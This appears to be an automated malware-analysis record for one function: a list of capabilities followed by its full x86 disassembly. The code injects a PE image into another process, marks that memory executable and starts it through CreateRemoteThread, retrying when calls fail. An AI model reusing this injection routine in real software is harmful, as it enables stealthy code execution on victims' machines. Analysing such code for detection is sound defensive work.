Function at 0x402a71
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get memory capacity
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
push ebx
mov ebx, dword [0x42b184]
push esi
push edi
mov edi, dword [0x42b180]
xor esi, esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp dword [ebp + 8], eax
mov dword [esp + 0xc], esi
sete cl
mov dword [esp + 0x10], ecx
cmp dword [ebp + 8], esi
je 0x402d10
cmp edi, esi
je 0x402d10
cmp ebx, esi
je 0x402d10
cmp ecx, esi
jne 0x402afb
call fcn.00401d7e
test eax, eax
je 0x402ae0
call fcn.00401d7e
test eax, eax
je 0x402d27
push dword [ebp + 8]
call fcn.00401e06
mov dword [esp + 0xc], eax
cmp eax, esi
jne 0x402b03
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402d10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x402ae8
cmp dword [esp + 0x10], esi
jne 0x402b1a
push dword [esp + 0xc]
call fcn.00402a45
test eax, eax
jne 0x402d17
push dword [ebp + 8]
call fcn.0040292c
test eax, eax
jne 0x402b34
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x402b1a
push dword [ebp + 8]
call fcn.0040292c
test eax, eax
je 0x402d10
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
je 0x402d10
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x3000
add eax, ebx
push eax
push 0
push dword [esp + 0x1c]
call edi
mov ebx, eax
test ebx, ebx
jne 0x402bf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5af
jne 0x402d10
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x2c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [esp + 0x4c], 0
ja 0x402ba4
cmp dword [esp + 0x48], 1
jbe 0x402baf
mov eax, dword [esi + 0x50]
mov ecx, dword [esp + 0x20]
add ecx, eax
jmp 0x402bb4
mov eax, dword [esi + 0x50]
mov ecx, eax
test ecx, ecx
je 0x402be3
add eax, dword [esp + 0x20]
push 4
push 0x3000
push eax
push 0
push dword [esp + 0x1c]
call edi
mov ebx, eax
test ebx, ebx
jne 0x402bf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5af
jne 0x402d10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b83
push dword [esp + 0x1c]
mov eax, dword [esi + 0x54]
push ebx
push dword [esp + 0x14]
call fcn.004028d2
movzx eax, word [esi + 0x14]
and dword [esp + 0x18], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x402c43
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [esp + 0x1c]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [esp + 0x14]
mov eax, dword [edi - 4]
call fcn.004028d2
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [esp + 0x18]
cmp dword [esp + 0x18], eax
jl 0x402c19
push dword [esp + 0x1c]
mov eax, dword [esi + 0x50]
add eax, ebx
push eax
push dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
call fcn.004028d2
mov edi, dword [esi + 0x28]
lea eax, [esp + 0x24]
push eax
push 0x40
push dword [esi + 0x50]
add edi, ebx
push ebx
mov ebx, dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push esi
push esi
push esi
push edi
push esi
push esi
cmp dword [esp + 0x28], esi
je 0x402cdc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
call ebx
mov dword [esp + 0x20], eax
cmp eax, esi
jne 0x402cc2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x402d08
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push edi
push esi
push esi
call ebx
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x402d08
push 4
push dword [sym.imp.KERNEL32.dll_Sleep]
push 9
push dword [esp + 0x2c]
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push dword [esp + 0x20]
jmp 0x402d03
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x402cf7
push eax
call fcn.00401e1d
mov dword [esp + 0x14], 1
jmp 0x402d17
push edi
push ebx
call fcn.004027f2
cmp eax, esi
je 0x402d17
push eax
call fcn.00401e1d
mov dword [esp + 0x14], 1
cmp dword [esp + 0x10], 0
jne 0x402d27
cmp dword [esp + 0xc], 0
je 0x402d27
push dword [esp + 0xc]
call fcn.00401e1d
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4